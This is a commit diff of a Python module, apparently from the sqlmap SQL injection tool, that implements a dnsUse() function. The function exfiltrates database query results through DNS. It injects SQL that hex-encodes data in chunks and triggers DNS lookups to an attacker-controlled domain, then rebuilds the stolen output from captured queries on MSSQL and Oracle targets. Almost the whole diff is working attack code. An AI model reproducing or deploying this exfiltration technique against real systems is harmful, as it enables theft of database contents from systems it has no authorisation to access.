|
7 | 7 | See the file 'doc/COPYING' for copying permission |
8 | 8 | """ |
9 | 9 |
|
10 | | -def dnsUse(expression, expected=None, dump=False): |
| 10 | +import re |
| 11 | +import time |
| 12 | + |
| 13 | +from lib.core.agent import agent |
| 14 | +from lib.core.common import Backend |
| 15 | +from lib.core.common import calculateDeltaSeconds |
| 16 | +from lib.core.common import dataToStdout |
| 17 | +from lib.core.common import decodeHexValue |
| 18 | +from lib.core.common import extractRegexResult |
| 19 | +from lib.core.common import getSPLSnippet |
| 20 | +from lib.core.common import hashDBRetrieve |
| 21 | +from lib.core.common import hashDBWrite |
| 22 | +from lib.core.common import randomInt |
| 23 | +from lib.core.common import randomStr |
| 24 | +from lib.core.common import safecharencode |
| 25 | +from lib.core.common import safeStringFormat |
| 26 | +from lib.core.common import singleTimeWarnMessage |
| 27 | +from lib.core.data import conf |
| 28 | +from lib.core.data import kb |
| 29 | +from lib.core.data import logger |
| 30 | +from lib.core.data import queries |
| 31 | +from lib.core.enums import DBMS |
| 32 | +from lib.core.settings import MAX_DNS_LABEL |
| 33 | +from lib.core.settings import PARTIAL_VALUE_MARKER |
| 34 | +from lib.core.unescaper import unescaper |
| 35 | +from lib.request.connect import Connect as Request |
| 36 | + |
| 37 | +def dnsUse(payload, expression): |
11 | 38 | """ |
12 | 39 | Retrieve the output of a SQL query taking advantage of the DNS |
13 | 40 | resolution mechanism by making request back to attacker's machine. |
14 | 41 | """ |
15 | 42 |
|
16 | | - raise NotImplementedError |
| 43 | + start = time.time() |
| 44 | + |
| 45 | + retVal = None |
| 46 | + count = 0 |
| 47 | + offset = 1 |
| 48 | + |
| 49 | + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE): |
| 50 | + output = hashDBRetrieve(expression, checkConf=True) |
| 51 | + if PARTIAL_VALUE_MARKER in output: |
| 52 | + output = None |
| 53 | + |
| 54 | + if output is None: |
| 55 | + kb.dnsMode = True |
| 56 | + |
| 57 | + while True: |
| 58 | + count += 1 |
| 59 | + prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2)) |
| 60 | + chunk_length = MAX_DNS_LABEL / 2 |
| 61 | + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) |
| 62 | + nulledCastedField = agent.nullAndCastField(fieldToCastStr) |
| 63 | + nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) |
| 64 | + nulledCastedField = agent.hexConvertField(nulledCastedField) |
| 65 | + expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) |
| 66 | + |
| 67 | + expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) |
| 68 | + expressionUnescaped = unescaper.unescape(expressionRequest) |
| 69 | + |
| 70 | + forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) |
| 71 | + Request.queryPage(forgedPayload, content=False, raise404=False) |
| 72 | + |
| 73 | + _ = conf.dnsServer.pop(prefix, suffix) |
| 74 | + if _: |
| 75 | + _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) |
| 76 | + _ = decodeHexValue(_) |
| 77 | + output = (output or "") + _ |
| 78 | + offset += len(_) |
| 79 | + if len(_) < chunk_length: |
| 80 | + break |
| 81 | + else: |
| 82 | + break |
| 83 | + |
| 84 | + kb.dnsMode = False |
| 85 | + |
| 86 | + if output is not None: |
| 87 | + retVal = output |
| 88 | + dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) |
| 89 | + hashDBWrite(expression, output) |
| 90 | + |
| 91 | + if not kb.bruteMode: |
| 92 | + debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start)) |
| 93 | + logger.debug(debugMsg) |
| 94 | + |
| 95 | + elif conf.dnsDomain: |
| 96 | + warnMsg = "DNS data exfiltration method through SQL injection " |
| 97 | + warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms() |
| 98 | + singleTimeWarnMessage(warnMsg) |
| 99 | + conf.dnsDomain = None |
| 100 | + |
| 101 | + return retVal |
0 commit comments